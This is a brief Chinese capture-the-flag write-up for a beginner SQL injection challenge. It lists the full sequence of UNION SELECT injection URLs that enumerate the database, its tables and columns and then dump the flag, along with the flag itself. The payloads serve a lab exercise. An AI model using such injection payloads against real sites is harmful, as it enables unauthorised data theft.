这个看起来有点简单
原题链接
http://ctf5.shiyanbar.com/8/index.php?id=1
分析
id(int)型，标准新手sql注入题
报错注入，无过滤
order by 发现两列
http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,database()%20--+
数据库：
my_db
http://ctf5.shiyanbar.com/8/index.php?id=0 union select 1,table_name from information_schema.tables where table_schema=database() --+
表
ID content
1 news
1 thiskey
http://ctf5.shiyanbar.com/8/index.php?id=0 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='thiskey'--+
列
ID content
1 k0y
http://ctf5.shiyanbar.com/8/index.php?id=0 union select 1,k0y from thiskey --+
dump
ID content
1 whatiMyD91dump
flag
whatiMyD91dump
知识点
报错注入
